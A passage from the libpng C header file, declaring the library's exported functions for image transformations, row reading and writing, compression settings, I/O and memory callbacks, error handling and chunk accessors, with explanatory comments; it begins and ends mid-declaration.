opaque parts of the image where the background is light. * In the OPTIMIZED mode the halos will be light halos where the background * is dark. Take your pick - the halos are unavoidable unless you can get * your hardware/software fixed! (The OPTIMIZED approach is slightly * faster.) * * When the default gamma of PNG files doesn't match the output gamma. * If you have PNG files with no gamma information png_set_alpha_mode allows * you to provide a default gamma, but it also sets the ouput gamma to the * matching value. If you know your PNG files have a gamma that doesn't * match the output you can take advantage of the fact that * png_set_alpha_mode always sets the output gamma but only sets the PNG * default if it is not already set: * * png_set_alpha_mode(pp, PNG_ALPHA_PNG, PNG_DEFAULT_sRGB); * png_set_alpha_mode(pp, PNG_ALPHA_PNG, PNG_GAMMA_MAC); * The first call sets both the default and the output gamma values, the * second call overrides the output gamma without changing the default. This * is easier than achieving the same effect with png_set_gamma. You must use * PNG_ALPHA_PNG for the first call - internal checking in png_set_alpha will * fire if more than one call to png_set_alpha_mode and png_set_background is * made in the same read operation, however multiple calls with PNG_ALPHA_PNG * are ignored. */ #ifdef PNG_READ_STRIP_ALPHA_SUPPORTED PNG_EXPORT(36, void, png_set_strip_alpha, (png_structrp png_ptr)); #endif #if defined(PNG_READ_SWAP_ALPHA_SUPPORTED) || \ defined(PNG_WRITE_SWAP_ALPHA_SUPPORTED) PNG_EXPORT(37, void, png_set_swap_alpha, (png_structrp png_ptr)); #endif #if defined(PNG_READ_INVERT_ALPHA_SUPPORTED) || \ defined(PNG_WRITE_INVERT_ALPHA_SUPPORTED) PNG_EXPORT(38, void, png_set_invert_alpha, (png_structrp png_ptr)); #endif #if defined(PNG_READ_FILLER_SUPPORTED) || defined(PNG_WRITE_FILLER_SUPPORTED) /* Add a filler byte to 8-bit or 16-bit Gray or 24-bit or 48-bit RGB images. */ PNG_EXPORT(39, void, png_set_filler, (png_structrp png_ptr, png_uint_32 filler, int flags)); /* The values of the PNG_FILLER_ defines should NOT be changed */ # define PNG_FILLER_BEFORE 0 # define PNG_FILLER_AFTER 1 /* Add an alpha byte to 8-bit or 16-bit Gray or 24-bit or 48-bit RGB images. */ PNG_EXPORT(40, void, png_set_add_alpha, (png_structrp png_ptr, png_uint_32 filler, int flags)); #endif /* READ_FILLER || WRITE_FILLER */ #if defined(PNG_READ_SWAP_SUPPORTED) || defined(PNG_WRITE_SWAP_SUPPORTED) /* Swap bytes in 16-bit depth files. */ PNG_EXPORT(41, void, png_set_swap, (png_structrp png_ptr)); #endif #if defined(PNG_READ_PACK_SUPPORTED) || defined(PNG_WRITE_PACK_SUPPORTED) /* Use 1 byte per pixel in 1, 2, or 4-bit depth files. */ PNG_EXPORT(42, void, png_set_packing, (png_structrp png_ptr)); #endif #if defined(PNG_READ_PACKSWAP_SUPPORTED) || \ defined(PNG_WRITE_PACKSWAP_SUPPORTED) /* Swap packing order of pixels in bytes. */ PNG_EXPORT(43, void, png_set_packswap, (png_structrp png_ptr)); #endif #if defined(PNG_READ_SHIFT_SUPPORTED) || defined(PNG_WRITE_SHIFT_SUPPORTED) /* Converts files to legal bit depths. */ PNG_EXPORT(44, void, png_set_shift, (png_structrp png_ptr, png_const_color_8p true_bits)); #endif #if defined(PNG_READ_INTERLACING_SUPPORTED) || \ defined(PNG_WRITE_INTERLACING_SUPPORTED) /* Have the code handle the interlacing. Returns the number of passes. * MUST be called before png_read_update_info or png_start_read_image, * otherwise it will not have the desired effect. Note that it is still * necessary to call png_read_row or png_read_rows png_get_image_height * times for each pass. */ PNG_EXPORT(45, int, png_set_interlace_handling, (png_structrp png_ptr)); #endif #if defined(PNG_READ_INVERT_SUPPORTED) || defined(PNG_WRITE_INVERT_SUPPORTED) /* Invert monochrome files */ PNG_EXPORT(46, void, png_set_invert_mono, (png_structrp png_ptr)); #endif #ifdef PNG_READ_BACKGROUND_SUPPORTED /* Handle alpha and tRNS by replacing with a background color. Prior to * libpng-1.5.4 this API must not be called before the PNG file header has been * read. Doing so will result in unexpected behavior and possible warnings or * errors if the PNG file contains a bKGD chunk. */ PNG_FP_EXPORT(47, void, png_set_background, (png_structrp png_ptr, png_const_color_16p background_color, int background_gamma_code, int need_expand, double background_gamma)) PNG_FIXED_EXPORT(215, void, png_set_background_fixed, (png_structrp png_ptr, png_const_color_16p background_color, int background_gamma_code, int need_expand, png_fixed_point background_gamma)) #endif #ifdef PNG_READ_BACKGROUND_SUPPORTED # define PNG_BACKGROUND_GAMMA_UNKNOWN 0 # define PNG_BACKGROUND_GAMMA_SCREEN 1 # define PNG_BACKGROUND_GAMMA_FILE 2 # define PNG_BACKGROUND_GAMMA_UNIQUE 3 #endif #ifdef PNG_READ_SCALE_16_TO_8_SUPPORTED /* Scale a 16-bit depth file down to 8-bit, accurately. */ PNG_EXPORT(229, void, png_set_scale_16, (png_structrp png_ptr)); #endif #ifdef PNG_READ_STRIP_16_TO_8_SUPPORTED #define PNG_READ_16_TO_8_SUPPORTED /* Name prior to 1.5.4 */ /* Strip the second byte of information from a 16-bit depth file. */ PNG_EXPORT(48, void, png_set_strip_16, (png_structrp png_ptr)); #endif #ifdef PNG_READ_QUANTIZE_SUPPORTED /* Turn on quantizing, and reduce the palette to the number of colors * available. */ PNG_EXPORT(49, void, png_set_quantize, (png_structrp png_ptr, png_colorp palette, int num_palette, int maximum_colors, png_const_uint_16p histogram, int full_quantize)); #endif #ifdef PNG_READ_GAMMA_SUPPORTED /* The threshold on gamma processing is configurable but hard-wired into the * library. The following is the floating point variant. */ #define PNG_GAMMA_THRESHOLD (PNG_GAMMA_THRESHOLD_FIXED*.00001) /* Handle gamma correction. Screen_gamma=(display_exponent). * NOTE: this API simply sets the screen and file gamma values. It will * therefore override the value for gamma in a PNG file if it is called after * the file header has been read - use with care - call before reading the PNG * file for best results! * * These routines accept the same gamma values as png_set_alpha_mode (described * above). The PNG_GAMMA_ defines and PNG_DEFAULT_sRGB can be passed to either * API (floating point or fixed.) Notice, however, that the 'file_gamma' value * is the inverse of a 'screen gamma' value. */ PNG_FP_EXPORT(50, void, png_set_gamma, (png_structrp png_ptr, double screen_gamma, double override_file_gamma)) PNG_FIXED_EXPORT(208, void, png_set_gamma_fixed, (png_structrp png_ptr, png_fixed_point screen_gamma, png_fixed_point override_file_gamma)) #endif #ifdef PNG_WRITE_FLUSH_SUPPORTED /* Set how many lines between output flushes - 0 for no flushing */ PNG_EXPORT(51, void, png_set_flush, (png_structrp png_ptr, int nrows)); /* Flush the current PNG output buffer */ PNG_EXPORT(52, void, png_write_flush, (png_structrp png_ptr)); #endif /* Optional update palette with requested transformations */ PNG_EXPORT(53, void, png_start_read_image, (png_structrp png_ptr)); /* Optional call to update the users info structure */ PNG_EXPORT(54, void, png_read_update_info, (png_structrp png_ptr, png_inforp info_ptr)); #ifdef PNG_SEQUENTIAL_READ_SUPPORTED /* Read one or more rows of image data. */ PNG_EXPORT(55, void, png_read_rows, (png_structrp png_ptr, png_bytepp row, png_bytepp display_row, png_uint_32 num_rows)); #endif #ifdef PNG_SEQUENTIAL_READ_SUPPORTED /* Read a row of data. */ PNG_EXPORT(56, void, png_read_row, (png_structrp png_ptr, png_bytep row, png_bytep display_row)); #endif #ifdef PNG_SEQUENTIAL_READ_SUPPORTED /* Read the whole image into memory at once. */ PNG_EXPORT(57, void, png_read_image, (png_structrp png_ptr, png_bytepp image)); #endif /* Write a row of image data */ PNG_EXPORT(58, void, png_write_row, (png_structrp png_ptr, png_const_bytep row)); /* Write a few rows of image data: (*row) is not written; however, the type * is declared as writeable to maintain compatibility with previous versions * of libpng and to allow the 'display_row' array from read_rows to be passed * unchanged to write_rows. */ PNG_EXPORT(59, void, png_write_rows, (png_structrp png_ptr, png_bytepp row, png_uint_32 num_rows)); /* Write the image data */ PNG_EXPORT(60, void, png_write_image, (png_structrp png_ptr, png_bytepp image)); /* Write the end of the PNG file. */ PNG_EXPORT(61, void, png_write_end, (png_structrp png_ptr, png_inforp info_ptr)); #ifdef PNG_SEQUENTIAL_READ_SUPPORTED /* Read the end of the PNG file. */ PNG_EXPORT(62, void, png_read_end, (png_structrp png_ptr, png_inforp info_ptr)); #endif /* Free any memory associated with the png_info_struct */ PNG_EXPORT(63, void, png_destroy_info_struct, (png_const_structrp png_ptr, png_infopp info_ptr_ptr)); /* Free any memory associated with the png_struct and the png_info_structs */ PNG_EXPORT(64, void, png_destroy_read_struct, (png_structpp png_ptr_ptr, png_infopp info_ptr_ptr, png_infopp end_info_ptr_ptr)); /* Free any memory associated with the png_struct and the png_info_structs */ PNG_EXPORT(65, void, png_destroy_write_struct, (png_structpp png_ptr_ptr, png_infopp info_ptr_ptr)); /* Set the libpng method of handling chunk CRC errors */ PNG_EXPORT(66, void, png_set_crc_action, (png_structrp png_ptr, int crit_action, int ancil_action)); /* Values for png_set_crc_action() say how to handle CRC errors in * ancillary and critical chunks, and whether to use the data contained * therein. Note that it is impossible to "discard" data in a critical * chunk. For versions prior to 0.90, the action was always error/quit, * whereas in version 0.90 and later, the action for CRC errors in ancillary * chunks is warn/discard. These values should NOT be changed. * * value action:critical action:ancillary */ #define PNG_CRC_DEFAULT 0 /* error/quit warn/discard data */ #define PNG_CRC_ERROR_QUIT 1 /* error/quit error/quit */ #define PNG_CRC_WARN_DISCARD 2 /* (INVALID) warn/discard data */ #define PNG_CRC_WARN_USE 3 /* warn/use data warn/use data */ #define PNG_CRC_QUIET_USE 4 /* quiet/use data quiet/use data */ #define PNG_CRC_NO_CHANGE 5 /* use current value use current value */ #ifdef PNG_WRITE_SUPPORTED /* These functions give the user control over the scan-line filtering in * libpng and the compression methods used by zlib. These functions are * mainly useful for testing, as the defaults should work with most users. * Those users who are tight on memory or want faster performance at the * expense of compression can modify them. See the compression library * header file (zlib.h) for an explination of the compression functions. */ /* Set the filtering method(s) used by libpng. Currently, the only valid * value for "method" is 0. */ PNG_EXPORT(67, void, png_set_filter, (png_structrp png_ptr, int method, int filters)); #endif /* WRITE */ /* Flags for png_set_filter() to say which filters to use. The flags * are chosen so that they don't conflict with real filter types * below, in case they are supplied instead of the #defined constants. * These values should NOT be changed. */ #define PNG_NO_FILTERS 0x00 #define PNG_FILTER_NONE 0x08 #define PNG_FILTER_SUB 0x10 #define PNG_FILTER_UP 0x20 #define PNG_FILTER_AVG 0x40 #define PNG_FILTER_PAETH 0x80 #define PNG_FAST_FILTERS (PNG_FILTER_NONE | PNG_FILTER_SUB | PNG_FILTER_UP) #define PNG_ALL_FILTERS (PNG_FAST_FILTERS | PNG_FILTER_AVG | PNG_FILTER_PAETH) /* Filter values (not flags) - used in pngwrite.c, pngwutil.c for now. * These defines should NOT be changed. */ #define PNG_FILTER_VALUE_NONE 0 #define PNG_FILTER_VALUE_SUB 1 #define PNG_FILTER_VALUE_UP 2 #define PNG_FILTER_VALUE_AVG 3 #define PNG_FILTER_VALUE_PAETH 4 #define PNG_FILTER_VALUE_LAST 5 #ifdef PNG_WRITE_SUPPORTED #ifdef PNG_WRITE_WEIGHTED_FILTER_SUPPORTED /* DEPRECATED */ PNG_FP_EXPORT(68, void, png_set_filter_heuristics, (png_structrp png_ptr, int heuristic_method, int num_weights, png_const_doublep filter_weights, png_const_doublep filter_costs)) PNG_FIXED_EXPORT(209, void, png_set_filter_heuristics_fixed, (png_structrp png_ptr, int heuristic_method, int num_weights, png_const_fixed_point_p filter_weights, png_const_fixed_point_p filter_costs)) #endif /* WRITE_WEIGHTED_FILTER */ /* The following are no longer used and will be removed from libpng-1.7: */ #define PNG_FILTER_HEURISTIC_DEFAULT 0 /* Currently "UNWEIGHTED" */ #define PNG_FILTER_HEURISTIC_UNWEIGHTED 1 /* Used by libpng < 0.95 */ #define PNG_FILTER_HEURISTIC_WEIGHTED 2 /* Experimental feature */ #define PNG_FILTER_HEURISTIC_LAST 3 /* Not a valid value */ /* Set the library compression level. Currently, valid values range from * 0 - 9, corresponding directly to the zlib compression levels 0 - 9 * (0 - no compression, 9 - "maximal" compression). Note that tests have * shown that zlib compression levels 3-6 usually perform as well as level 9 * for PNG images, and do considerably fewer caclulations. In the future, * these values may not correspond directly to the zlib compression levels. */ #ifdef PNG_WRITE_CUSTOMIZE_COMPRESSION_SUPPORTED PNG_EXPORT(69, void, png_set_compression_level, (png_structrp png_ptr, int level)); PNG_EXPORT(70, void, png_set_compression_mem_level, (png_structrp png_ptr, int mem_level)); PNG_EXPORT(71, void, png_set_compression_strategy, (png_structrp png_ptr, int strategy)); /* If PNG_WRITE_OPTIMIZE_CMF_SUPPORTED is defined, libpng will use a * smaller value of window_bits if it can do so safely. */ PNG_EXPORT(72, void, png_set_compression_window_bits, (png_structrp png_ptr, int window_bits)); PNG_EXPORT(73, void, png_set_compression_method, (png_structrp png_ptr, int method)); #endif /* WRITE_CUSTOMIZE_COMPRESSION */ #ifdef PNG_WRITE_CUSTOMIZE_ZTXT_COMPRESSION_SUPPORTED /* Also set zlib parameters for compressing non-IDAT chunks */ PNG_EXPORT(222, void, png_set_text_compression_level, (png_structrp png_ptr, int level)); PNG_EXPORT(223, void, png_set_text_compression_mem_level, (png_structrp png_ptr, int mem_level)); PNG_EXPORT(224, void, png_set_text_compression_strategy, (png_structrp png_ptr, int strategy)); /* If PNG_WRITE_OPTIMIZE_CMF_SUPPORTED is defined, libpng will use a * smaller value of window_bits if it can do so safely. */ PNG_EXPORT(225, void, png_set_text_compression_window_bits, (png_structrp png_ptr, int window_bits)); PNG_EXPORT(226, void, png_set_text_compression_method, (png_structrp png_ptr, int method)); #endif /* WRITE_CUSTOMIZE_ZTXT_COMPRESSION */ #endif /* WRITE */ /* These next functions are called for input/output, memory, and error * handling. They are in the file pngrio.c, pngwio.c, and pngerror.c, * and call standard C I/O routines such as fread(), fwrite(), and * fprintf(). These functions can be made to use other I/O routines * at run time for those applications that need to handle I/O in a * different manner by calling png_set_???_fn(). See libpng-manual.txt for * more information. */ #ifdef PNG_STDIO_SUPPORTED /* Initialize the input/output for the PNG file to the default functions. */ PNG_EXPORT(74, void, png_init_io, (png_structrp png_ptr, png_FILE_p fp)); #endif /* Replace the (error and abort), and warning functions with user * supplied functions. If no messages are to be printed you must still * write and use replacement functions. The replacement error_fn should * still do a longjmp to the last setjmp location if you are using this * method of error handling. If error_fn or warning_fn is NULL, the * default function will be used. */ PNG_EXPORT(75, void, png_set_error_fn, (png_structrp png_ptr, png_voidp error_ptr, png_error_ptr error_fn, png_error_ptr warning_fn)); /* Return the user pointer associated with the error functions */ PNG_EXPORT(76, png_voidp, png_get_error_ptr, (png_const_structrp png_ptr)); /* Replace the default data output functions with a user supplied one(s). * If buffered output is not used, then output_flush_fn can be set to NULL. * If PNG_WRITE_FLUSH_SUPPORTED is not defined at libpng compile time * output_flush_fn will be ignored (and thus can be NULL). * It is probably a mistake to use NULL for output_flush_fn if * write_data_fn is not also NULL unless you have built libpng with * PNG_WRITE_FLUSH_SUPPORTED undefined, because in this case libpng's * default flush function, which uses the standard *FILE structure, will * be used. */ PNG_EXPORT(77, void, png_set_write_fn, (png_structrp png_ptr, png_voidp io_ptr, png_rw_ptr write_data_fn, png_flush_ptr output_flush_fn)); /* Replace the default data input function with a user supplied one. */ PNG_EXPORT(78, void, png_set_read_fn, (png_structrp png_ptr, png_voidp io_ptr, png_rw_ptr read_data_fn)); /* Return the user pointer associated with the I/O functions */ PNG_EXPORT(79, png_voidp, png_get_io_ptr, (png_const_structrp png_ptr)); PNG_EXPORT(80, void, png_set_read_status_fn, (png_structrp png_ptr, png_read_status_ptr read_row_fn)); PNG_EXPORT(81, void, png_set_write_status_fn, (png_structrp png_ptr, png_write_status_ptr write_row_fn)); #ifdef PNG_USER_MEM_SUPPORTED /* Replace the default memory allocation functions with user supplied one(s). */ PNG_EXPORT(82, void, png_set_mem_fn, (png_structrp png_ptr, png_voidp mem_ptr, png_malloc_ptr malloc_fn, png_free_ptr free_fn)); /* Return the user pointer associated with the memory functions */ PNG_EXPORT(83, png_voidp, png_get_mem_ptr, (png_const_structrp png_ptr)); #endif #ifdef PNG_READ_USER_TRANSFORM_SUPPORTED PNG_EXPORT(84, void, png_set_read_user_transform_fn, (png_structrp png_ptr, png_user_transform_ptr read_user_transform_fn)); #endif #ifdef PNG_WRITE_USER_TRANSFORM_SUPPORTED PNG_EXPORT(85, void, png_set_write_user_transform_fn, (png_structrp png_ptr, png_user_transform_ptr write_user_transform_fn)); #endif #ifdef PNG_USER_TRANSFORM_PTR_SUPPORTED PNG_EXPORT(86, void, png_set_user_transform_info, (png_structrp png_ptr, png_voidp user_transform_ptr, int user_transform_depth, int user_transform_channels)); /* Return the user pointer associated with the user transform functions */ PNG_EXPORT(87, png_voidp, png_get_user_transform_ptr, (png_const_structrp png_ptr)); #endif #ifdef PNG_USER_TRANSFORM_INFO_SUPPORTED /* Return information about the row currently being processed. Note that these * APIs do not fail but will return unexpected results if called outside a user * transform callback. Also note that when transforming an interlaced image the * row number is the row number within the sub-image of the interlace pass, so * the value will increase to the height of the sub-image (not the full image) * then reset to 0 for the next pass. * * Use PNG_ROW_FROM_PASS_ROW(row, pass) and PNG_COL_FROM_PASS_COL(col, pass) to * find the output pixel (x,y) given an interlaced sub-image pixel * (row,col,pass). (See below for these macros.) */ PNG_EXPORT(217, png_uint_32, png_get_current_row_number, (png_const_structrp)); PNG_EXPORT(218, png_byte, png_get_current_pass_number, (png_const_structrp)); #endif #ifdef PNG_READ_USER_CHUNKS_SUPPORTED /* This callback is called only for *unknown* chunks. If * PNG_HANDLE_AS_UNKNOWN_SUPPORTED is set then it is possible to set known * chunks to be treated as unknown, however in this case the callback must do * any processing required by the chunk (e.g. by calling the appropriate * png_set_ APIs.) * * There is no write support - on write, by default, all the chunks in the * 'unknown' list are written in the specified position. * * The integer return from the callback function is interpreted thus: * * negative: An error occurred; png_chunk_error will be called. * zero: The chunk was not handled, the chunk will be saved. A critical * chunk will cause an error at this point unless it is to be saved. * positive: The chunk was handled, libpng will ignore/discard it. * * See "INTERACTION WTIH USER CHUNK CALLBACKS" below for important notes about * how this behavior will change in libpng 1.7 */ PNG_EXPORT(88, void, png_set_read_user_chunk_fn, (png_structrp png_ptr, png_voidp user_chunk_ptr, png_user_chunk_ptr read_user_chunk_fn)); #endif #ifdef PNG_USER_CHUNKS_SUPPORTED PNG_EXPORT(89, png_voidp, png_get_user_chunk_ptr, (png_const_structrp png_ptr)); #endif #ifdef PNG_PROGRESSIVE_READ_SUPPORTED /* Sets the function callbacks for the push reader, and a pointer to a * user-defined structure available to the callback functions. */ PNG_EXPORT(90, void, png_set_progressive_read_fn, (png_structrp png_ptr, png_voidp progressive_ptr, png_progressive_info_ptr info_fn, png_progressive_row_ptr row_fn, png_progressive_end_ptr end_fn)); /* Returns the user pointer associated with the push read functions */ PNG_EXPORT(91, png_voidp, png_get_progressive_ptr, (png_const_structrp png_ptr)); /* Function to be called when data becomes available */ PNG_EXPORT(92, void, png_process_data, (png_structrp png_ptr, png_inforp info_ptr, png_bytep buffer, png_size_t buffer_size)); /* A function which may be called *only* within png_process_data to stop the * processing of any more data. The function returns the number of bytes * remaining, excluding any that libpng has cached internally. A subsequent * call to png_process_data must supply these bytes again. If the argument * 'save' is set to true the routine will first save all the pending data and * will always return 0. */ PNG_EXPORT(219, png_size_t, png_process_data_pause, (png_structrp, int save)); /* A function which may be called *only* outside (after) a call to * png_process_data. It returns the number of bytes of data to skip in the * input. Normally it will return 0, but if it returns a non-zero value the * application must skip than number of bytes of input data and pass the * following data to the next call to png_process_data. */ PNG_EXPORT(220, png_uint_32, png_process_data_skip, (png_structrp)); /* Function that combines rows. 'new_row' is a flag that should come from * the callback and be non-NULL if anything needs to be done; the library * stores its own version of the new data internally and ignores the passed * in value. */ PNG_EXPORT(93, void, png_progressive_combine_row, (png_const_structrp png_ptr, png_bytep old_row, png_const_bytep new_row)); #endif /* PROGRESSIVE_READ */ PNG_EXPORTA(94, png_voidp, png_malloc, (png_const_structrp png_ptr, png_alloc_size_t size), PNG_ALLOCATED); /* Added at libpng version 1.4.0 */ PNG_EXPORTA(95, png_voidp, png_calloc, (png_const_structrp png_ptr, png_alloc_size_t size), PNG_ALLOCATED); /* Added at libpng version 1.2.4 */ PNG_EXPORTA(96, png_voidp, png_malloc_warn, (png_const_structrp png_ptr, png_alloc_size_t size), PNG_ALLOCATED); /* Frees a pointer allocated by png_malloc() */ PNG_EXPORT(97, void, png_free, (png_const_structrp png_ptr, png_voidp ptr)); /* Free data that was allocated internally */ PNG_EXPORT(98, void, png_free_data, (png_const_structrp png_ptr, png_inforp info_ptr, png_uint_32 free_me, int num)); /* Reassign responsibility for freeing existing data, whether allocated * by libpng or by the application; this works on the png_info structure passed * in, it does not change the state for other png_info structures. * * It is unlikely that this function works correctly as of 1.6.0 and using it * may result either in memory leaks or double free of allocated data. */ PNG_EXPORT(99, void, png_data_freer, (png_const_structrp png_ptr, png_inforp info_ptr, int freer, png_uint_32 mask)); /* Assignments for png_data_freer */ #define PNG_DESTROY_WILL_FREE_DATA 1 #define PNG_SET_WILL_FREE_DATA 1 #define PNG_USER_WILL_FREE_DATA 2 /* Flags for png_ptr->free_me and info_ptr->free_me */ #define PNG_FREE_HIST 0x0008U #define PNG_FREE_ICCP 0x0010U #define PNG_FREE_SPLT 0x0020U #define PNG_FREE_ROWS 0x0040U #define PNG_FREE_PCAL 0x0080U #define PNG_FREE_SCAL 0x0100U #ifdef PNG_STORE_UNKNOWN_CHUNKS_SUPPORTED # define PNG_FREE_UNKN 0x0200U #endif /* PNG_FREE_LIST 0x0400U removed in 1.6.0 because it is ignored */ #define PNG_FREE_PLTE 0x1000U #define PNG_FREE_TRNS 0x2000U #define PNG_FREE_TEXT 0x4000U #define PNG_FREE_EXIF 0x8000U /* Added at libpng-1.6.31 */ #define PNG_FREE_ALL 0xffffU #define PNG_FREE_MUL 0x4220U /* PNG_FREE_SPLT|PNG_FREE_TEXT|PNG_FREE_UNKN */ #ifdef PNG_USER_MEM_SUPPORTED PNG_EXPORTA(100, png_voidp, png_malloc_default, (png_const_structrp png_ptr, png_alloc_size_t size), PNG_ALLOCATED PNG_DEPRECATED); PNG_EXPORTA(101, void, png_free_default, (png_const_structrp png_ptr, png_voidp ptr), PNG_DEPRECATED); #endif #ifdef PNG_ERROR_TEXT_SUPPORTED /* Fatal error in PNG image of libpng - can't continue */ PNG_EXPORTA(102, void, png_error, (png_const_structrp png_ptr, png_const_charp error_message), PNG_NORETURN); /* The same, but the chunk name is prepended to the error string. */ PNG_EXPORTA(103, void, png_chunk_error, (png_const_structrp png_ptr, png_const_charp error_message), PNG_NORETURN); #else /* Fatal error in PNG image of libpng - can't continue */ PNG_EXPORTA(104, void, png_err, (png_const_structrp png_ptr), PNG_NORETURN); # define png_error(s1,s2) png_err(s1) # define png_chunk_error(s1,s2) png_err(s1) #endif #ifdef PNG_WARNINGS_SUPPORTED /* Non-fatal error in libpng. Can continue, but may have a problem. */ PNG_EXPORT(105, void, png_warning, (png_const_structrp png_ptr, png_const_charp warning_message)); /* Non-fatal error in libpng, chunk name is prepended to message. */ PNG_EXPORT(106, void, png_chunk_warning, (png_const_structrp png_ptr, png_const_charp warning_message)); #else # define png_warning(s1,s2) ((void)(s1)) # define png_chunk_warning(s1,s2) ((void)(s1)) #endif #ifdef PNG_BENIGN_ERRORS_SUPPORTED /* Benign error in libpng. Can continue, but may have a problem. * User can choose whether to handle as a fatal error or as a warning. */ PNG_EXPORT(107, void, png_benign_error, (png_const_structrp png_ptr, png_const_charp warning_message)); #ifdef PNG_READ_SUPPORTED /* Same, chunk name is prepended to message (only during read) */ PNG_EXPORT(108, void, png_chunk_benign_error, (png_const_structrp png_ptr, png_const_charp warning_message)); #endif PNG_EXPORT(109, void, png_set_benign_errors, (png_structrp png_ptr, int allowed)); #else # ifdef PNG_ALLOW_BENIGN_ERRORS # define png_benign_error png_warning # define png_chunk_benign_error png_chunk_warning # else # define png_benign_error png_error # define png_chunk_benign_error png_chunk_error # endif #endif /* The png_set_<chunk> functions are for storing values in the png_info_struct. * Similarly, the png_get_<chunk> calls are used to read values from the * png_info_struct, either storing the parameters in the passed variables, or * setting pointers into the png_info_struct where the data is stored. The * png_get_<chunk> functions return a non-zero value if the data was available * in info_ptr, or return zero and do not change any of the parameters if the * data was not available. * * These functions should be used instead of directly accessing png_info * to avoid problems with future changes in the size and internal layout of * png_info_struct. */ /* Returns "flag" if chunk data is valid in info_ptr. */ PNG_EXPORT(110, png_uint_32, png_get_valid, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_uint_32 flag)); /* Returns number of bytes needed to hold a transformed row. */ PNG_EXPORT(111, png_size_t, png_get_rowbytes, (png_const_structrp png_ptr, png_const_inforp info_ptr)); #ifdef PNG_INFO_IMAGE_SUPPORTED /* Returns row_pointers, which is an array of pointers to scanlines that was * returned from png_read_png(). */ PNG_EXPORT(112, png_bytepp, png_get_rows, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Set row_pointers, which is an array of pointers to scanlines for use * by png_write_png(). */ PNG_EXPORT(113, void, png_set_rows, (png_const_structrp png_ptr, png_inforp info_ptr, png_bytepp row_pointers)); #endif /* Returns number of color channels in image. */ PNG_EXPORT(114, png_byte, png_get_channels, (png_const_structrp png_ptr, png_const_inforp info_ptr)); #ifdef PNG_EASY_ACCESS_SUPPORTED /* Returns image width in pixels. */ PNG_EXPORT(115, png_uint_32, png_get_image_width, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns image height in pixels. */ PNG_EXPORT(116, png_uint_32, png_get_image_height, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns image bit_depth. */ PNG_EXPORT(117, png_byte, png_get_bit_depth, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns image color_type. */ PNG_EXPORT(118, png_byte, png_get_color_type, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns image filter_type. */ PNG_EXPORT(119, png_byte, png_get_filter_type, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns image interlace_type. */ PNG_EXPORT(120, png_byte, png_get_interlace_type, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns image compression_type. */ PNG_EXPORT(121, png_byte, png_get_compression_type, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns image resolution in pixels per meter, from pHYs chunk data. */ PNG_EXPORT(122, png_uint_32, png_get_pixels_per_meter, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(123, png_uint_32, png_get_x_pixels_per_meter, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(124, png_uint_32, png_get_y_pixels_per_meter, (png_const_structrp png_ptr, png_const_inforp info_ptr)); /* Returns pixel aspect ratio, computed from pHYs chunk data. */ PNG_FP_EXPORT(125, float, png_get_pixel_aspect_ratio, (png_const_structrp png_ptr, png_const_inforp info_ptr)) PNG_FIXED_EXPORT(210, png_fixed_point, png_get_pixel_aspect_ratio_fixed, (png_const_structrp png_ptr, png_const_inforp info_ptr)) /* Returns image x, y offset in pixels or microns, from oFFs chunk data. */ PNG_EXPORT(126, png_int_32, png_get_x_offset_pixels, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(127, png_int_32, png_get_y_offset_pixels, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(128, png_int_32, png_get_x_offset_microns, (png_const_structrp png_ptr, png_const_inforp info_ptr)); PNG_EXPORT(129, png_int_32, png_get_y_offset_microns, (png_const_structrp png_ptr, png_const_inforp info_ptr)); #endif /* EASY_ACCESS */ #ifdef PNG_READ_SUPPORTED /* Returns pointer to signature string read from PNG header */ PNG_EXPORT(130, png_const_bytep, png_get_signature, (png_const_structrp png_ptr, png_const_inforp info_ptr)); #endif #ifdef PNG_bKGD_SUPPORTED PNG_EXPORT(131, png_uint_32, png_get_bKGD, (png_const_structrp png_ptr, png_inforp info_ptr, png_color_16p *background)); #endif #ifdef PNG_bKGD_SUPPORTED PNG_EXPORT(132, void, png_set_bKGD, (png_const_structrp png_ptr, png_inforp info_ptr, png_const_color_16p background)); #endif #ifdef PNG_cHRM_SUPPORTED PNG_FP_EXPORT(133, png_uint_32, png_get_cHRM, (png_const_structrp png_ptr, png_const_inforp info_ptr, double *white_x, double *white_y, double *red_x, double *red_y, double *green_x, double *green_y, double *blue_x, double *blue_y)) PNG_FP_EXPORT(230, png_uint_32, png_get_cHRM_XYZ, (png_const_structrp png_ptr, png_const_inforp info_ptr, double *red_X, double *red_Y, double *red_Z, double *green_X, double *green_Y, double *green_Z, double *blue_X, double *blue_Y, double *blue_Z)) PNG_FIXED_EXPORT(134, png_uint_32, png_get_cHRM_fixed, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_fixed_point *int_white_x, png_fixed_point *int_white_y, png_fixed_point *int_red_x, png_fixed_point *int_red_y, png_fixed_point *int_green_x, png_fixed_point *int_green_y, png_fixed_point *int_blue_x, png_fixed_point *int_blue_y)) PNG_FIXED_EXPORT(231, png_uint_32, png_get_cHRM_XYZ_fixed, (png_const_structrp png_ptr, png_const_inforp info_ptr, png_fixed_point *int_red_X, png_fixed_point *int_red_Y, png_fixed_point *int_red_Z, png_fixed_point *int_green_X, png_fixed_point *int_green_Y, png_fixed_point *int_green_Z, png_fixed_point *int_blue_X, png_fixed_point *int_blue_Y, png_fixed_point *int_blue_Z)) #endif #ifdef PNG_cHRM_SUPPORTED PNG_FP_EXPORT(135, void, png_set_cHRM, (png_const_structrp png_ptr, png_inforp info_ptr, double white_x, double white_y, double red_x, double red_y, double green_x, double green_y, double blue_x, double blue_y)) PNG_FP_EXPORT(232, void, png_set_cHRM_XYZ, (png_const_structrp png_ptr, png_inforp info_ptr, double red_X, double red_Y, double red_Z, double green_X, double green_Y, double green_Z, double blue_X, double blue_Y, double blue_Z)) PNG_FIXED_EXPORT(136, void, png_set_cHRM_fixed, 